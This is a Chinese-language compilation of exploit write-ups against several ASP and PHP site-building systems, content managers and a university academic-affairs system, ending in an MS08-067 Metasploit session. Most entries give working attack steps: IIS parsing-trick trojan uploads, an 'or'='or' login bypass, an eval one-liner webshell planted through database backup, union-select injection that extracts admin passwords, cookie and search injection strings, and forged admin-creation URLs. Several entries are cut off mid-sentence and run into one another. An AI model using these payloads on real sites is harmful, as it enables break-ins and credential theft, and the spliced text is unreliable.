毕业论文选题系统上传漏洞漏洞预警(集锦13篇)

毕业论文选题系统上传漏洞漏洞预警

       漏洞出在fileload目录下的FileUpload.asp文件中,用的是无惧组建上传

       看代码

       01var fu = new FileUpload(“uploadForm”,“idFile”, { Limit: 3, ExtIn: [“rar”,“doc”,“xls”], RanName: true,

       02onIniFile: function(file){ file.value ? file.style.display =“none” : this.Folder.removeChild(file); },

       03onEmpty: function{ alert(“请选择一个文件”); },

       04onLimite: function(){ alert(“超过上传限制”); },

       05onSame: function(){ alert(“已经有相同文件”); },

       06onNotExtIn: function(){ alert(“只允许上传”  this.ExtIn.join(“,”) “文件”); },

       07onFail: function(file){ this.Folder.removeChild(file); },

       08onIni: function(){

       09//显示文件列表

       10var arrRows = [];

       11if(this.Files.length){

       12var This = this;

       13Each(this.Files, function(o){

       14var a = document.createElement(“a”); a.innerHTML =“取消”; a.href =“javascript.:void(0);”;

       15a.onclick = function(){ oThis.Delete(o); return false; };

       16arrRows.push([o.value, a]);

       17});

       18} else { arrRows.push([“没有添加文件”,“ ”]); }

       19AddList(arrRows);

       20//设置按钮

       21$(“idBtnupload”).disabled = $(“idBtndel”).disabled = this.Files.length <= 0;

       22}

       23});

       24

       25$(“idBtnupload”).onclick = function(){

       26//显示文件列表

       27var arrRows = [];

       28Each(fu.Files, function(o){ arrRows.push([o.value,“ ”]); });

       29AddList(arrRows);

       30

       31fu.Folder.style.display =“none”;

       32$(“idProcess”).style.display =“”;

       33$(“idMsg”).innerHTML =“正在上传文件到服务器,请稍候……

       有可能因为网络问题,出现程序长时间无响应,请点击“取消”重新上传文件”;

       34

       35fu.Form.submit();

       36}

       37

       38//用来添加文件列表的函数

       39function AddList(rows){

       40//根据数组来添加列表

       41var FileList = $(“idFileList”), Fragment = document.createDocumentFragment();

       42//用文档碎片保存列表

       43Each(rows, function(cells){

       44var row = document.createElement(“tr”);

       45Each(cells, function(o){

       46var cell = document.createElement(“td”);

       47if(typeof o ==“string”){ cell.innerHTML = o; }else{ cell.appendChild(o); }

       48row.appendChild(cell);

       49});

       50oFragment.appendChild(row);

       51})

       52//ie的table不支持innerHTML所以这样清空table

       53while(FileList.hasChildNodes()){ FileList.removeChild(FileList.firstChild); }

       54FileList.appendChild(oFragment);

       55}

       56

       57

       58$(“idLimit”).innerHTML = fu.Limit;

       59

       60$(“idExt”).innerHTML = fu.ExtIn.join(“,”);

       6

       62$(“idBtndel”).onclick = function(){ fu.Clear(); }

       63

       64//在后台通过window.parent来访问主页面的函数

       65function Finish(msg){ alert(msg); location.href = location.href; }

       66

       67

       68注意:

       69

       ·请选择【rar,doc,xls】格式的文件,其他格式的文件请打包后再上传,

       

       毕业论文选题系统上传漏洞漏洞预警

       ,

       70

       ·文件名尽量详细,以方便下载。

       7

       ·文件不能过大。

       72

       73

       没有将文件重命名,外加本地JS验证。配合IIS6.0解析漏洞 如果是IIS7 的话用火狐

       漏洞利用方法:

       访问.xxx.com/fileload/FileUpload.asp  然后将ASP木马改为1.asp;.rar 或者asp;.xsl 也行 上传后的文件存在/fileload/file/下面

       网站系统下载地址:down.admin5.com/asp/60831.html

       ​

篇2:机智内容管理系统漏洞漏洞预警

       ###########################################################################################

       02.# Title: witcms 机智内容管理系统漏洞

       03.

       04.# Time:-09-09

       05.

       06.# Team:MakeBug

       07.

       08.# Author: 缘分

       09.

       10.###########################################################################################

       11.

       12.前台注入: 参考注入篇

       13.

       14.后台:拿shell

       15.

       16.MakeBug Micropoor@163.com

       17.

       18.//  \admin\article_insert.php

       19.//  \admin\article_updata.php

       20.

       21.

       22.if(!empty($_FILES[file][name])){

       23.   // 略

       24.   $file_type = $_FILES[“file”][“type”];  //把上传文件类型另存为数组

       25.   for($i=0;$i

       26.       if($file_name[$i]!=''){

       27.       if ((($file_type[$i] == “image/gif”) || ($file_type[$i] == “image/jpeg”) || ($file_type[$i] == “image/pjpeg”)) && ($file_type[$i] < 1024000)){

       28.           // ...略,此处是重命名

       29.       }

       30.

       31.只是检测了type,文件头,gif89a45sd即可,

       

       机智内容管理系统漏洞漏洞预警

       ,

       32.

       33.默认上传一句话路径:\uploadfile\ 文件名

       34.

       35.另调用了FCKeditor编辑器。

       36.

       37.默认test路径:\admin\FCKeditor\editor\filemanager\connectors\test.html

       38.

       39.                       \admin\FCKeditor\editor\filemanager\connectors\uploadtest.html

       40.

       41.#.badguest.com/vul/

篇3:Netin(奈特)内容管理系统漏洞漏洞预警

       一个很冷的内容管理系统,4:Windows文件系统漏洞小漏洞,大用处漏洞预警

       1.Windows中很有用的文件替换命令,绕过文件保护

       用来替换文件的replace,连正在使用的文件也能替换,非常无敌。

       比如:在C:\下建一个目录,c:\aaa

       然后复制一首mp3到c:\aaa并命名为c:\aaa\a.mp3

       然后再复制另一首歌到C:\a.mp3

       然后用media player 播放c:\aaa\a.mp3

       在命令提示符下输入:replace c:\a.mp3 c:\aaa

       过一会,是不是播放的歌已变为另一首。

       用这个命令来替换系统文件真是太爽了,并且XP的系统文件保护也对它无效。

       再也不用到安全模式下去替换文件了

       2.Windows文件系统漏洞-小漏洞,大用处

       大家都知道在Windows中“”符号是路径的分隔符号,比如“C:\Windows”的意思就是C分区中的Windows文件夹,“C:\Windows\System.exe”的意思就是C分区中的Windows文件夹中的System.exe文件,好继续我们假设一下:

       如果文件名中有“”符号会怎么样呢?假如“S”是一个文件夹的名字,这个文件夹位于:“F:”,他的路径就是“F:\S”,当我们试图访问的时候Windows会错误的认为我们要打开的文件是C分区的S文件夹,这样Windows就无法打开并且会返回一个错误,因为以上的路径并不存在。

       也许你现在正在尝试创建“S”文件,但是Windows会提示你:“”符号是不能作为文件、文件夹的名字的。看来Windows还是早已想到这一点了的。OK我们继续进行,就不信不能建立包含“”符号的文件。

       现在打开你的电脑,我们要做一些很有趣的尝试。进入Windows后 点击:开始>运行 然后输入“cmd”并会车(如果是Win98请输入“COMMAND”),这时你会看到Windows的命令控制台,我们就是要利用它完成我们剩下的测试,以下包含了很多命令其中{}中的字符是我的解释:

       quote:

       --------------------------------------------------------------------------------

       Microsoft Windows XP [版本 5.1.2600]

       (C) 版权所有 1985- Microsoft Corp.

       F:\Test>mkdir s\ {我们的5:小鼻子文章管理系统漏洞漏洞预警

       从A5网站上 随便下了一个asp的建站系统 “小鼻子文章管理系统”

       打开以后 发现做的还不错

       来到后台/admin/login.asp 默认试了一下万能密码 'or'='or' 发现竟然进去了

       来看一下源码

       ① login.asp文件

       <%

       Dim errmsg

       username=Request(“username”)

       password=Request(“password”)

       verifycode=Request(“verifycode”)

       If username=“” Or password=“” Then

       Response.Redirect “login.asp?errno=2”

       Response.End

       End If

       这是一处,发现没有过滤然后是 奇怪的竟然在 验证码这转化。

       If Cstr(Session(“getcode”))Lcase(Cstr(Trim(Request(“verifycode”)))) Then

       Response.Redirect “login.asp?errno=0”

       Response.End

       End If

       %>

       来看一下 防注入文件/inc/AntiAttack.asp分两部分组成

       ①----- 对 get query 值 的过滤.

       ②-----对 post 表 单值的过滤.

       对post的代码如下

       if request.form“” then

       Chk_badword=split(Form_Badword,“‖”)

       FOR EACH form_name2 IN Request.Form

       for i=0 to ubound(Chk_badword)

       If Instr(LCase(request.form(form_name2)),Chk_badword(i))0 Then

       Select Case Err_Message

       Case “1”

       Response.Write “”

       Case “2”

       Response.Write “”

       Case “3”

       Response.Write “”

       End Select

       Response.End

       End If

       NEXT

       NEXT

       end if

       %>

       开头“if request.from”

       很显然 在后台登陆界面 的 用户和密码处并没有进行判断

       所以使用万能密码 可以直接登陆后台

       二 、后台上传shell

       我简单的看了一下 可以用备份 的方法

       首先 先对网站进行 备份 后面 还原用到

       在“网站信息设置”出我们插上 闭合型一句话

       %><%eval request(“0o1Znz1ow”)%><%

       然后备份 xx.asp or xx.cer 等

       在 /DataBaseX/文件下 会出现我们的马了

篇6:TAYGOD免费企业建站系统漏洞 TAYGOD 0day漏洞预警

       一 系统简介

       TAYGOD免费企业建站系统是一款开源的免费程序,您可以

       TAYGOD免费企业建站系统ASP版是一款基于asp access的免费开源建站系统,整套系统的设计构造,完全考虑中小企业类网站的功能要求,网站后台功能强大,管理简捷,支持模板机制,能够快速建立您的企业网站。

       系统特性:

       采用流行的asp access设计,功能强,实用性高。

       代码美工完全分离,维护更方便。

       对运行环境要求低,基本上一般的空间都支持此网站系统的运行。

       完美整合KindEditor编辑器,所见所得发布各类图文信息。

       后台操作简洁,无需专业知识,即可掌控整站。

       风格模板机制简单,通过简单的HTML制作即可,后台提供完善的标签调用说明与示例。

       后台数据库备份,您可以通过FTP工具将备案的数据库文件下载到您本地电脑中。

       一:添加管理员XSS漏洞。

       漏洞文件:\source\adminAdmin_Add.asp

       漏洞代码:

       <%if request.QueryString(“action”)=”save”thenuid=replace(trim(Request(“uid”)),”‘”,”“)realname=replace(trim(Request(“realname”)),”‘”,””)pwd1=replace(trim(Request(“pwd1″)),”‘”,”“)pwd2=replace(trim(Request(“pwd2″)),”‘”,””)password=md5(pwd1)

       未进行验证直接写入数据,

       漏洞测试:

       127.0.0.1/asp/source/admin/Admin_Add.asp?action=save&uid=test&realname=test&pwd1=itlynn&pwd2=password

       将生成一个用户名与密码为:123456 password 的管理员。

       至于怎么欺骗管理员打开,这就需要一点社工技术了。

       自己研究吧。

       二:留言板XSS漏洞

       漏洞文件:\Message.asp

       漏洞测试:在留言板页面插入XSS代码。

篇7:正方高校教务管理系统漏洞修复漏洞预警

       正方高校教务管理系统是一款学生成绩,选课管理系统,目前有众多高校使用这款教务管理系统,

       

       正方高校教务管理系统漏洞修复漏洞预警

       ,

       近期该系统爆出了一个高危漏洞,攻击者可以利用该漏洞轻易获取网站webshell权限。下面给出漏洞的情况和修复方法:

       漏洞类型:上传漏洞

       漏洞文件:/ftb.imagegallery.aspx

       该漏洞文件没有任何权限限制,访问者可以直接访问该文件,从而通过文件自有的上传功能,来上传构造好的可以解析的后门文件。

       漏洞修复:可以设置images目录脚本解析权限为无.有能力的可以针对此文件做好权限身份验证,禁止普通用户访问.

       漏洞补丁:请联系正方公司升级网站程序

篇8:鼎祥多用户在线客服系统漏洞漏洞预警

       Link's blog

       鼎祥多用户在线客服系统是一款企业级的网站实时交流系统,网站访客只需点击网页中的对话图标,无需安装或者下载任何软件,就能直接和网站客服人员进行即时交流,鼎祥多用户在线客服系统将为企业发掘更多的潜在客户,降低运行成本,提高工作效率,提升客户满意度,是企业进行在线咨询、在线营销、在线客服的有力工具。

       修改数据库路径:inc.asp

       管理员登陆口:你的域名/admin/login.asp

       默认管理员账号:admin 密码admin

       首页自行修改对应文件

       VB源码目录里是客户端的VB源码,下载VB6.0绿色版,然后修改里面的地址,生成就可以了。

       鼎祥科技

       .68kf.cn

       无意间发现。。。其实我在翻aspx代码的时候看到

       在zj2.asp:

       <%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%>

       <%

       Response.Buffer = True

       Response.ExpiresAbsolute = Now -

       Response.Expires = 0

       Response.CacheControl = “no-cache”

       Response.AddHeader “Pragma”, “No-Cache”

       fuse=request.cookies(“fuse”)

       fsid=request.querystring(“fsid”)

       id=trim(request.querystring(“id”))

       password=request.cookies(“password”)'用户ID

       set rs=server.CreateObject(“adodb.recordset”)

       strsql=“select * from texts where userid='”&fuse&“' and id=”&id&“”

       嘿嘿之。

       在ip.asp里面发现个好玩的:

       <%

       function ips(ip)

       adb = “ip.mdb”

       aConnStr = “Provider = Microsoft.Jet.OLEDB.4.0;Data Source = ” & Server.MapPath(adb)

       Set AConn = Server.CreateObject(“ADODB.Connection”)

       aConn.Open aConnStr

       sip=request(“ip”)

       If sip=“127.0.0.1” Then sip=“192.168.0.1” end if

       str1=left(sip,instr(sip,“.”)-1)

       sip=mid(sip,instr(sip,“.”) 1)

       str2=left(sip,instr(sip,“.”)-1)

       sip=mid(sip,instr(sip,“.”) 1)

       str3=left(sip,instr(sip,“.”)-1)

       str4=mid(sip,instr(sip,“.”) 1)

       num=cint(str1)*256*256*256 cint(str2)*256*256 cint(str3)*256 cint(str4)-

       sql=“select * from address where ip1 <=”&num&“ and ip2 >=”&num

       set rs=aconn.execute(sql)

       if not rs.eof then

       ips=rs(“country”)

       else

       ips=“未知地区”

       end if

       end function

       %>

       真不知道 记录来干嘛。。而且又没容错 爆数据库出来也不知道下载来干嘛。。

       洞洞还是处处都有:

       <%@LANGUAGE=“VBSCRIPT”%>

       

       客服留言

       <%

       Response.Buffer = true

       Response.Expires = -

       kuse=request.querystring(“kuse”)

       use=request.querystring(“use”)

       set rs=server.CreateObject(“adodb.recordset”)

       strsql=“select * from [use] where userid='”&kuse&“' and [use]='”&use&“' and zxbz=1 ”

       rs.open strsql,conn,1,

       if not rs.eof then

       ywfw=rs(“bm”)

       hyl=rs(“hyl”)

       glbh=rs(“glbh”)

       end if

       rs.close

       set rs=nothing

       set rs=server.CreateObject(“adodb.recordset”)

       strsql=“select * from userid where userid='”&kuse&“' order by id desc”

       rs.open strsql,conn,3,2

       if not rs.eof then

       gsjj=rs(“gsjj”)

       webname=rs(“webname”)

       webdz=rs(“webdz”)

       mail=rs(“email”)

       mftel=rs(“mftel”)

       telurl=rs(“telurl”)

       dianhua=rs(“dell”)

       end if

       rs.close

       set rs=nothing

       Function addEntry()

       texts=encodehtml(request(“texts”))

       phone=encodehtml(request(“phone”))

       email=encodehtml(request(“email”))

       names=encodehtml(request(“names”))

       ipp=Request.ServerVariables(“REMOTE_ADDR”)

       set rs=server.CreateObject(“adodb.recordset”)

       strsql=“select * from ly ”

       rs.open strsql,conn,3,3

       rs.addnew

       rs(“userid”)=request(“kuse”)

       rs(“use”)=request(“use”)

       rs(“ip”)=ipp

       rs(“texts”)=texts

       rs(“phone”)=phone

       rs(“email”)=email

       rs(“names”)=names

       rs.update

       rs.close

       set rs=nothing

       response.write(“”)

       End Function

       Dim a

       a = Request(“action”)

       If a=“” Then

       else

       addEntry

       End If

       conn.close

       set conn=nothing

       %>

       <%=request(“use”)%>

       给<%=request(“use”)%>留言

       <%=request(“use”)%>

       客服不在线,请留言,我会尽快与您联系,

       

       您的称呼:

       

       *

       您的邮箱:

       

       <%=request(“use”)%>“ >

       <%=request(”kuse“)%>” >

       您的电话:

       

       留言内容:

       

       *

       

       

       <%if webname“” then%>

       <%response.Write(glbh)%>

       <%end if%>

       <%if dianhua“” then%>

       电话:

       <%response.Write(dianhua)%>

       <%end if%>

       <%if mail“” then%>

       邮箱:

       <%response.Write(“”&mail&“”)%>

       <%end if%>

       <%if ywfw“” then%>

       部门:

       <%response.Write(ywfw)%>

       <%end if%>

       “ target=”_blank“>

       <%response.Write(webdz)%>

       <%

       if mftel=0 then

       %>

       <%else%>

       ” target=“_blank”>

       <%end if %>

       以上是book.asp的..不会利用么。。那么跳过。还是无奈。。

       在chklogin.asp里面 看看他咋验证的:

       <%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%>

       <%

       Function encodeHTML(ByVal str)

       If IsNull(str) Then

       encodeHTML = “”

       Exit Function

       End If

       hui=wgzh

       str=server.htmlencode(str)

       str = Replace(str, “>”, “>”)

       str = Replace(str, “<”, “≪”)

       str = Replace(str, “ ”, “ ”)

       str = Replace(str, Chr(39), “’”)

       str = Replace(str, Chr(34),“‘’”)

       str = Replace(str, Chr(13), “”)

       str = Replace(str, Chr(10), “

       ”)

       str=trim(str)

       encodeHTML = str

       End Function

       '========================================

       'if request(“verify”)session(“jym”) then

       'response.write(“”)

       response.end

       else

       rs(“zxbz”)=0

       rs(“gjlx”)=0

       rs(“dlnum”)=rs(“dlnum”)

       rs.update

       'application(“ivrg”)=conm

       response.cookies(“fuse”)=rs(“userid”)

       response.cookies(“password”)=rs(“password”)

       response.cookies(“use”)=rs(“use”)

       response.cookies(“fsidd”)=rs(“id”)

       response.cookies(“qx”)=rs(“qx”)

       glbh=rs(“glbh”)

       application(“kuse”)=application(“kuse”)&rs(“userid”)&“|”

       'response.Redirect(“main.asp”)

       response.redirect(“main.asp?fid=”&rs(“id”)&“&fuse=”&rs(“userid”)&“&use=”&use&“&glbh=”&glbh&“”)

       end if

       rs.close

       '==============================================

       conn.close

       set rs=nothing

       set conn=nothing

       %>

       貌似亲爱的管理员没有过滤好'。。而且。。 假如不是access的话 我们可以构造语句改他密码

       对 就是在登陆那里改他密码。。。

       还有几个鸡肋的 pass.asp:

       <%

       if request.cookies(“fuse”)=“” or request.cookies(“password”)=“” or request.cookies(“use”)=“” then

       response.redirect(“/login.asp”)

       end if

       %>

       不知道验证来干嘛。。

       好多洞洞 大家去下载一份来试试把 我说错了欢迎来喷~ 毕竟很久没看代码了・

篇9:C9静态文章发布系统漏洞 0day漏洞预警

       看到一个叫C9静态文章发布系统的程序 只不过没仔细看过,今天下载回来一份看了下 发现了问题 在投票那里 是一个flash投票系统,flash我不懂 于是抓了个包看了下 发现是通过add.asp提交投票 xml.asp 提供rss输出 当读到这里的时候 发现了问题

       代码如下: <% thisid=funstr(Trim(Request.QueryString(“voteid”))) if thisid=“” then set rs=conn.execute(“select top 1 * from plug_vote where oorcfalse order by id desc”) else set rs=conn.execute(“select * from plug_vote where id=”&thisid) end if if rs.eof then response.Write(“连接数据发生错误”):response.End() conn.execute “update plug_vote set votevi=votevi 1 where id=”&rs(“id”) for i=1 to 5 if isnull(rs(“cs_”&i)) then exit for next nowid=rs(“id”) ...... %>

       这里 我们看下是如何接收变量传递进来的值的 thisid=funstr(Trim(Request.QueryString(“voteid”))) trim 过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

       Function funstr(str) str = replace(str, “<”, “<”, 1, -1, 1) str = replace(str, “>”, “>”, 1, -1, 1) str = trim(str) str = replace(str,“’”,“‘”) funstr = str End Function Function unfunstr(str) str = replace(str, “<”,“<”, 1, -1, 1) str = replace(str, “>”,“>”, 1, -1, 1) str = trim(str) str = replace(str,“‘”,“’”) unfunstr = str End Function

       这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ’ 等等 可能认为这样就可以达到防注的效果 其 实不然 注入不需要这些东西

       127.0.0.1:2936/plug_vote/xml.asp?voteid=

       构造下引用 127.0.0.1:2936/plug_vote/xml.asp?voteid=1 and 1=2 union select% 201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18 from user where id=

       查询得到管理员用户名和密码 后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下 编辑模板的地址就可以了 不多说 用此漏洞干坏事者 MJJ

0:良精企业通用建站系统漏洞总汇漏洞预警

       一,SQl注入漏洞

       1,典型的Cookies注入

       漏洞文件:Shownews.asp

       问题代码:id=cstr(request(“id”))

       Set rsnews=Server.CreateObject(“ADODB.RecordSet”)

       sql=“update news set hits=hits 1 where id=”&id

       conn.execute sql

       sql=“select * from news where id=”&owen

       rsnews.Open sql,conn,1,

       title=rsnews(“title”)

       if rsnews.eof and rsnews.bof then

       response.Write(“数据库出错”)

       很明显,id参数没有经过过滤直接代入数据库查询,其中cstr只是将数值型转换成字符型,但是直接输入注语句会提示出错,因为头文件包含防注入系统,但它只对Get和Post过滤,却没有对Cookies过滤,这样就可以进行Cookies注入了,具体方法可以用注入中转或者GreenBrowser自带的Js插件,我就不多说了,详细步骤可以看我以前的文章,

       2,字符型注入

       漏洞文件:UserEditPwd.asp

       问题代码:.XXX.com Action=trim(request(“Action”))

       UserName=trim(request(“UserName”))

       if Action=“” and session(“UserName”)=“” then

       response.redirect “UserServer.asp”

       end if

       if Action=“Modify” and UserName“” then

       Set rsUser=Server.CreateObject(“Adodb.RecordSet”)

       sqlUser=“select * from [User] where UserName='” & UserName & “'”

       rsUser.Open sqlUser,conn,1,3

       显然username只过滤了空格边代入数据库查询。这是字符型的注入,而且程序员很配合的没有使用防注入系统,注入就产生了。由于用了session验证,利用时首先注册一用户,我就以用户shaun为例,注入语句如下:.XXX.com /UserEditPwd.asp?Action=Modify&UserName=shaun' and '1'='1;

       .XXX.com /UserEditPwd.asp?Action=Modify&UserName=shaun' and '1'='2;

       3,搜索型注入

       漏洞文件:News_search.asp

       问题代码:key=Trim(request(“key”))

       type=Trim(request(“otype”))

       BigClass=request(“BigClass”)

       省略部分代码

       Set rs= Server.CreateObject(“ADODB.Recordset”)

       if type=“title” then

       sql=“select * from news where title Like '%”&key&“%' order by id desc”

       else

       sql=“select * from news where content Like '%”&key&“%' order by id desc”

       end if

       rs.open sql,conn,1,

       可以看到,key未经过过滤就进行了数据库查询,因此造成了搜索型注入,

       注入语句参考:

       .XXX.com /News_search.asp?otype=title&Submit=搜索&key=1%' and 1=1 '%'='

       .XXX.com /News_search.asp?otype=title&Submit=搜索&key=1%' and 1=2 '%'='

       二,跨站漏洞

       漏洞文件:FeedbackSave.asp

       问题代码:Add=trim(request.form(“Add”))

       Postcode=trim(request.form(“Postcode”))

       Mobile=trim(request.form(“Mobile”))

       Fax=trim(request.form(“Fax”))

       email=trim(request.form(“email”))

       Language=trim(request.QueryString(“Language”))

       省略部分代码

       Set rs = Server.CreateObject(“ADODB.Recordset”)

       sql=“select * from Feedback”

       rs.open sql,conn,1,3

       省略部分代码

       rs(“CompanyName”)=trim(request.form(“CompanyName”))

       rs(“Add”)=Add

       rs(“Postcode”)=Postcode

       rs(“Receiver”)=trim(request.form(“Receiver”))

       rs(“Phone”)=trim(request.form(“Phone”))

       rs(“Mobile”)=Mobile

       rs(“Fax”)=Fax

       rs(“email”)=email

       rs(“title”)=trim(request.form(“title”))

       rs(“content”)=htmlencode2(request.form(“content”))

       rs(“Publish”)=trim(request.form(“Publish”))

       if Language=“ch” then

       rs(“Language”)=“0”

       else

       rs(“Language”)=“1”

       end if

       rs(“time”)=date

       rs.update

       rs.close

       这里Add,Postcode,Mobile,Fax,email等均没有进行过滤,可以再主题和Email那里填写代码,

       三,上传漏洞:

       漏洞文件:upfile_Other.asp

       问题代码:fileExt=lcase(file.FileExt)

       Forumupload=split(UpFileType,“|”)

       for i=0 to ubound(Forumupload)

       if fileEXT=trim(Forumupload(i)) then

       EnableUpload=true

       exit for

       end if

       next

       if fileEXT=“asp” or fileEXT=“asa” or fileEXT=“aspx” then

       EnableUpload=false

       end if

       if EnableUpload=false then

       'msg=“这种文件类型不允许上传!\n\n只允许上传这几种文件类型:” & UpFileType

       这个是大家很常见的上传漏洞,可以上传php文件或者本地提交加空格绕过过滤,我就不多说了,

1:世纪风企业网站管理系统漏洞漏洞预警

       by Mr.DzY

       世纪风企业网站管理系统面向中小企业的网站管理系统,网页精美,大气,具有稳性定强,功能多,安全,代码加载速度快,网站内容管理的易操作性等优点。采用div css构架,是中小型企业建站的理想选择。

       世纪风企业网站管理系统 1.3 更新内容:

       1、增加部分后台提示;

       2、修复后台订单管理中删除订单出现的错误;

       3、其它细节的修改;

       免费版:

       .myhack58.com/_database/qiye_free.asp

       企业版:

       .myhack58.com/_database/_qiyedata.asp

       插马:

       .myhack58.com/guestbook.asp

       其它的不说了,你知道的,

       PS:操作有风险,请慎重。

2:精迅 CMS 新闻 内容管理系统漏洞漏洞预警

       :心灵 原文:t00ls.net/thread-14046-1-1.html

       首先我只是菜鸟,连PHP基本语法也不太懂,下面是我个人分析结果,如有错误,敬请见谅。

       主要问题出在找回密码:member.php?action=getpw。

       case 'getpw':

       $showsubmenu = 0;

       $log_status && showmsg($lang['login_already'], $forward);

       if (isset($_POST['submit'])) {

       $msg = $_POST['hash'] == $ghash ? '' : $lang['hash_error'];

       if ($set_captcha[1]) {

       $msg or check_captcha($_POST['captcha']) or $msg = $lang['checkcode_error'];

       }

       $username = trim($_POST['username']);

       $email = trim($_POST['email']);

       if (!($member ->checkuser($username, 0) && $member ->checkemail($email, 0))) { // 0表示不检测是否存在

       showmsg($member ->info);

       }

       $r = $member ->get(0, '`userid`,`email`,`question`,`answer`', “username='$username'”);

       if ($r) {

       $answer = shtmlspecialchars($_POST['answer']);

       if ($r['email'] != $email) showmsg($lang['email_name_error']);

       elseif ($r['question'] && $answer != $r['answer']) showmsg($lang['answer_error']);

       else {

       $newpwd = substr(gethash($TIME . $IP), 6, 12);

       $member ->modipwd($r['userid'], '', $newpwd, $newpwd, 1) or showmg($member ->info);

       include JXCMS_ROOT . 'include/mail.func.php';

       $mail_subject = &$lang['getpw_emailtitle'];

       $mail_content = sprintf($lang['mail_body'], $username, $lang['your_new_password'] . $newpwd, $set_ceomail, $set_contact);

       if ($set_sendtype == 'mail') {

       basic_sendmail($email, $set_ceomail, $set_name, $mail_subject, $mail_content, 'html');

       } elseif ($set_sendtype == 'nmail') {

       nmail($email, $set_ceomail, $set_name, $mail_subject, $mail_content, 'html');

       } elseif ($set_sendtype == 'smtp') {

       smtp_sendmail($email, $set_ceomail, $set_name, $mail_subject, $mail_content, 'html');

       }

       showmsg($lang['getpw_sucess'], 'login.php', 3000);

       }

       } else showmsg($lang['email_name_error']);

       }

       include tpl('getpw');

       break;

       主要是:“$newpwd = substr(gethash($TIME . $IP), 6, 12);”,在公用函数文件中 $TIME 定义是 time,$IP 自定义就是当前客户端IP,

       gethash:

       function gethash($str) {

       $str = md5($str . $GLOBALS['set_sid']);

       $tmp = str_split($str, 1);

       $tmp = array_unique($tmp);

       return implode ('', $tmp);

       }

       新密码就是这样生成出来的。“$GLOBALS['set_sid']”默认是空的(这里是基本条件之一,如果管理员在后台填写了安全码,那就没办法了。)。

       这个程序有个留言本,随便留个言就可显示当时留言时间,然后把自己电脑时间改成服务器时间前几秒。再在本地搭建这个程序,就可以虚构“$newpwd = substr(gethash($TIME . $IP), 6, 12);”。

       然后“echo $newpwd”就是修改后的密码。然后问题在时间上,可以从前几秒一直试到最后几秒,然后一个一个试密码就知道了。

       “admin”的默认 Email 是 name@domain.com,80%的人是不去修改的,这个是前提条件!

       这个程序最大设计失误是,后台管理账号和会员账号同放在“member”这个表里。

       可能研究得复杂点,但本地架设测试成功的,没试过网上其他网站。总的来说很鸡肋,需要默认的 admin 邮箱没改和默认的安全码没写才行。

3:MS08067漏洞漏洞预警

       这个漏洞已经暴露了很久了,这里我就不说原理了我也不会,所以直接用metasploit操作一下,大牛请绕过

       root@bt:~# genlist -s 10.10.10.*

       10.10.10.

       10.10.10.2

       10.10.10.128

       10.10.10.130

       10.10.10.254

       root@bt:~# nmap -sS -Pn 10.10.10.128

       Starting Nmap 6.01 ( nmap.org ) at 2023-04-23 01:49 EDT

       Nmap scan report for attacker.dvssc.com (10.10.10.128)

       Host is up (0.0000060s latency).

       All 1000 scanned ports on attacker.dvssc.com (10.10.10.128) are closed

       Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

       root@bt:~# nmap -sS -Pn 10.10.10.130

       Starting Nmap 6.01 ( nmap.org ) at 2023-04-23 01:50 EDT

       Nmap scan report for service.dvssc.com (10.10.10.130)

       Host is up (0.011s latency).

       Not shown: 985 closed ports

       PORT STATE SERVICE

       21/tcp open ftp

       80/tcp open http

       135/tcp open msrpc

       139/tcp open netbios-ssn

       445/tcp open microsoft-ds

       777/tcp open multiling-http

       1025/tcp open NFS-or-IIS

       1026/tcp open LSA-or-nterm

       1027/tcp open IIS

       1030/tcp open iad

       1521/tcp open oracle

       6002/tcp open X11:2

       7001/tcp open afs3-callback

       7002/tcp open afs3-prserver

       8099/tcp open unknown

       MAC Address: 00:0C:29:D3:08:A0 (VMware)

       Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

       root@bt:~#

       root@bt:~# nmap --script=smb-check-vulns 10.10.10.130

       Starting Nmap 6.01 ( nmap.org ) at 2023-04-23 01:50 EDT

       Nmap scan report for service.dvssc.com (10.10.10.130)

       Host is up (0.00032s latency).

       Not shown: 985 closed ports

       PORT STATE SERVICE

       21/tcp open ftp

       80/tcp open http

       135/tcp open msrpc

       139/tcp open netbios-ssn

       445/tcp open microsoft-ds

       777/tcp open multiling-http

       1025/tcp open NFS-or-IIS

       1026/tcp open LSA-or-nterm

       1027/tcp open IIS

       1030/tcp open iad

       1521/tcp open oracle

       6002/tcp open X11:2

       7001/tcp open afs3-callback

       7002/tcp open afs3-prserver

       8099/tcp open unknown

       MAC Address: 00:0C:29:D3:08:A0 (VMware)

       Host script. results:

       | smb-check-vulns:

       | MS08-067: VULNERABLE

       | Conficker: Likely CLEAN

       | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)

       | SMBv2 DoS (CVE-2023-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

       | MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)

       |_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)

       Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

       root@bt:~# msfconsole

       Call trans opt: received. 2-19-98 13:24:18 REC:Loc

       Trace program: running

       wake up, Neo...

       the matrix has you

       follow the white rabbit.

       knock, knock, Neo.

       (`. ,-,

       ` `. ,;' /

       `. ,'/ .'

       `. X /.'

       .-;--''--.._` ` (

       .' / `

       , ` ' Q '

       , , `._ \

       ,.| ' `-.;_'

       : . ` ; ` ` --,.._;

       ' ` , ) .'

       `._ , ' /_

       ; ,''-,;' ``-

       ``-..__``--`

       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]

        -- --=[ 927 exploits - 499 auxiliary - 151 post

-- --=[ 251 payloads - 28 encoders - 8 nops

       msf >search ms08_067

       Matching Modules

       ================

       Name Disclosure Date Rank Description

       ---- --------------- ---- -----------

       exploit/windows/smb/ms08_067_netapi 2023-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption

       msf >use exploit/windows/smb/ms08_067_netapi

       msf exploit(ms08_067_netapi) >show options

       Module options (exploit/windows/smb/ms08_067_netapi):

       Name Current Setting Required Description

       ---- --------------- -------- -----------

       RHOST yes The target address

       RPORT 445 yes Set the SMB service port

       SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

